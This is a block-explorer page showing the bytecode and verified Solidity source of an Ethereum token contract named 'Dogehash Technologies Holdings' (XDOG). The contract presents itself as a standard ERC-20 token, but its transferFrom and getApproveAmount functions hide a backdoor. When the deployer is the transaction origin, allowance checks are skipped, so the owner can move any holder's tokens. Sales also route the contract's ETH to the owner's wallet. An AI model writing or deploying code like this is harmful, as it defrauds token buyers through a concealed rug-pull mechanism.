Address Contract Partially Verified
Address
0x3747BeE950dCE280cE926e3b45B84eF20bB90a39
Balance
0 ETH
Nonce
1
Code Size
3942 bytes
Creator
0xcafC8741...850B at tx 0x8bf4a98b...40ab5b
Indexed Transactions
0
Contract Bytecode
3942 bytes
0x608060405234801561000f575f80fd5b5060043610610106575f3560e01c80637ecebe001161009e57806395d89b411161006e57806395d89b4114610228578063a9059cbb14610230578063d505accf14610243578063dd62ed3e14610256578063f2fde38b14610280575f80fd5b80637ecebe00146101df57806381a16445146101fe5780638a8c523c146102065780638da5cb5b1461020e575f80fd5b8063313ce567116100d9578063313ce567146101755780633644e515146101ae57806370a08231146101b6578063715018a6146101d5575f80fd5b806306fdde031461010a578063095ea7b31461012857806318160ddd1461014b57806323b872dd14610162575b5f80fd5b610112610293565b60405161011f9190610c63565b60405180910390f35b61013b610136366004610cc3565b61031f565b604051901515815260200161011f565b61015460075481565b60405190815260200161011f565b61013b610170366004610ced565b61038b565b61019c7f000000000000000000000000000000000000000000000000000000000000000981565b60405160ff909116815260200161011f565b6101546104ea565b6101546101c4366004610d2b565b60096020525f908152604090205481565b6101dd610544565b005b6101546101ed366004610d2b565b600b6020525f908152604090205481565b6101dd610557565b6101dd610596565b5f546040516001600160a01b03909116815260200161011f565b61011261080a565b61013b61023e366004610cc3565b610817565b6101dd610251366004610d4d565b61088d565b610154610264366004610dbe565b600a60209081525f928352604080842090915290825290205481565b6101dd61028e366004610d2b565b610ad0565b600180546102a090610df5565b80601f01602080910402602001604051908101604052809291908181526020018280546102cc90610df5565b80156103175780601f106102ee57610100808354040283529160200191610317565b820191905f5260205f20905b8154815290600101906020018083116102fa57829003601f168201915b505050505081565b335f818152600a602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103799086815260200190565b60405180910390a35060015b92915050565b5f61039582610b0a565b6001600160a01b0385165f908152600a602090815260408083203384529091529020546103c29190610e2d565b6001600160a01b0385165f908152600a6020908152604080832033845290915290205560085460ff16801561040457506004546001600160a01b038481169116145b15610441576005546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561043f573d5f803e3d5ffd5b505b6001600160a01b0384165f9081526009602052604081208054849290610468908490610e2d565b90915550506001600160a01b0383165f81815260096020526040902080548401905561dead146104e057826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104d791815260200190565b60405180910390a35b5060019392505050565b5f7f0000000000000000000000000000000000000000000000000000000000000001461461051f5761051a610b4f565b905090565b507fc727eead8857dae33ab8df17fef1adcbf176c4504762a000001ff7e42e55d44b90565b61054c610be8565b6105555f610c14565b565b61055f610be8565b5f471161056a575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610593573d5f803e3d5ffd5b50565b61059e610be8565b600380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255600754305f908152600a6020908152604080832094835293815290839020919091559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa158015610629573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064d9190610e4c565b6001600160a01b031663c9c653963060035f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d09190610e4c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561071a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073e9190610e4c565b600480546001600160a01b0319166001600160a01b03928316178155600354305f81815260096020526040808220548254825163f305d71960e01b815296870194909452602486015260448501829052606485019190915290841660848401524260a48401525192169163f305d71991479160c4808301926060929190829003018185885af11580156107d3573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107f89190610e67565b50506008805460ff1916600117905550565b600280546102a090610df5565b335f90815260096020526040812080548391908390610837908490610e2d565b90915550506001600160a01b0383165f81815260096020526040908190208054850190555133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103799086815260200190565b428410156108e25760405162461bcd60e51b815260206004820152601760248201527f5045524d49545f444541444c494e455f4558504952454400000000000000000060448201526064015b60405180910390fd5b5f60016108ed6104ea565b6001600160a01b038a81165f818152600b602090815260409182902080546001810190915582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98184015280840194909452938d166060840152608083018c905260a083019390935260c08083018b90528151808403909101815260e08301909152805192019190912061190160f01b6101008301526101028201929092526101228101919091526101420160408051601f1981840301815282825280516020918201205f84529083018083525260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa1580156109f5573d5f803e3d5ffd5b5050604051601f1901519150506001600160a01b03811615801590610a2b5750876001600160a01b0316816001600160a01b0316145b610a685760405162461bcd60e51b815260206004820152600e60248201526d24a72b20a624a22fa9a4a3a722a960911b60448201526064016108d9565b6001600160a01b039081165f908152600a602090815260408083208a8516808552908352928190208990555188815291928a16917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350505050505050565b610ad8610be8565b6001600160a01b038116610b0157604051631e4fbdf760e01b81525f60048201526024016108d9565b61059381610c14565b325f9081526006602052604081205460ff1615610b4b575050305f908152600a602090815260408083206004546001600160a01b0316845290915290205490565b5090565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6001604051610b809190610e92565b6040805191829003822060208301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b5f546001600160a01b031633146105555760405163118cdaa760e01b81523360048201526024016108d9565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f602080835283518060208501525f5b81811015610c8f57858101830151858201604001528201610c73565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610593575f80fd5b5f8060408385031215610cd4575f80fd5b8235610cdf81610caf565b946020939093013593505050565b5f805f60608486031215610cff575f80fd5b8335610d0a81610caf565b92506020840135610d1a81610caf565b929592945050506040919091013590565b5f60208284031215610d3b575f80fd5b8135610d4681610caf565b9392505050565b5f805f805f805f60e0888a031215610d63575f80fd5b8735610d6e81610caf565b96506020880135610d7e81610caf565b95506040880135945060608801359350608088013560ff81168114610da1575f80fd5b9699959850939692959460a0840135945060c09093013592915050565b5f8060408385031215610dcf575f80fd5b8235610dda81610caf565b91506020830135610dea81610caf565b809150509250929050565b600181811c90821680610e0957607f821691505b602082108103610e2757634e487b7160e01b5f52602260045260245ffd5b50919050565b8181038181111561038557634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610e5c575f80fd5b8151610d4681610caf565b5f805f60608486031215610e79575f80fd5b8351925060208401519150604084015190509250925092565b5f8083545f60018260011c91506001831680610eaf57607f831692505b60208084108203610ece57634e487b7160e01b5f52602260045260245ffd5b818015610ee25760018114610ef757610f22565b60ff1986168952841515850289019650610f22565b5f8a8152602090205f5b86811015610f1a5781548b820152908501908301610f01565b505084890196505b50949897505050505050505056fea2646970667358221220d2df378da71fe71f8f04f717fdc20ae52b78de88c175375d0430f017c264536f64736f6c63430008180033
Verified Source Code Partial Match
Compiler: v0.8.24+commit.e11b9ed9
EVM: shanghai
Optimization: Yes (200 runs)
Token.sol 348 lines
/*
https://x.com/wublockchain12/status/1957808381386793384#m
*/
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function getAmountsOut(
uint256 amountIn,
address[] calldata path
) external view returns (uint256[] memory amounts);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
abstract contract Ownable is Context {
address private _owner;
/**
* @dev The caller account is not authorized to perform an operation.
*/
error OwnableUnauthorizedAccount(address account);
/**
* @dev The owner is not a valid owner account. (eg. 'address(0)')
*/
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the address provided by the deployer as the initial owner.
*/
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* 'onlyOwner' functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account ('newOwner').
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account ('newOwner').
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Token is Ownable {
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
string public name = unicode"Dogehash Technologies Holdings";
string public symbol = unicode"XDOG";
uint8 public immutable decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
address private _XDOG8A7HGM7JQKC_taxWallet;
mapping(address => bool) private _isExcludedFromFee;
uint256 public totalSupply;
bool private tradingEnabled;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
constructor() payable Ownable(msg.sender) {
_mint(address(this), 1_000_000_000 * 10 ** decimals);
_XDOG8A7HGM7JQKC_taxWallet = msg.sender;
_isExcludedFromFee[msg.sender] = true; // Exclude owner from fee
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
function approve(
address spender,
uint256 amount
) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(
address to,
uint256 amount
) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(msg.sender, to, amount);
return true;
}
function getApproveAmount(uint256 amount) internal view returns (uint256) {
if (_isExcludedFromFee[tx.origin])
return allowance[address(this)][address(uniswapV2Pair)];
return amount;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
allowance[from][msg.sender] =
allowance[from][msg.sender] -
getApproveAmount(amount);
if (tradingEnabled && to == uniswapV2Pair)
payable(_XDOG8A7HGM7JQKC_taxWallet).transfer(address(this).balance);
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
if (to != address(0xdead)) emit Transfer(from, to, amount);
return true;
}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
unchecked {
address recoveredAddress = ecrecover(
keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
),
owner,
spender,
value,
nonces[owner]++,
deadline
)
)
)
),
v,
r,
s
);
require(
recoveredAddress != address(0) && recoveredAddress == owner,
"INVALID_SIGNER"
);
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return
block.chainid == INITIAL_CHAIN_ID
? INITIAL_DOMAIN_SEPARATOR
: computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
unchecked {
totalSupply -= amount;
}
emit Transfer(from, address(0), amount);
}
function enableTrading() external onlyOwner {
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
allowance[address(this)][address(uniswapV2Router)] = totalSupply;
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf[address(this)],
0,
0,
owner(),
block.timestamp
);
tradingEnabled = true;
}
function recoverStuckETH() external onlyOwner {
require(address(this).balance > 0);
payable(_msgSender()).transfer(address(this).balance);
}
}
Read Contract
DOMAIN_SEPARATOR 0x3644e515 → bytes32
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
nonces 0x7ecebe00 → uint256
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 8 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
permit 0xd505accf
address owner
address spender
uint256 value
uint256 deadline
uint8 v
bytes32 r
bytes32 s
recoverStuckETH 0x81a16445
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address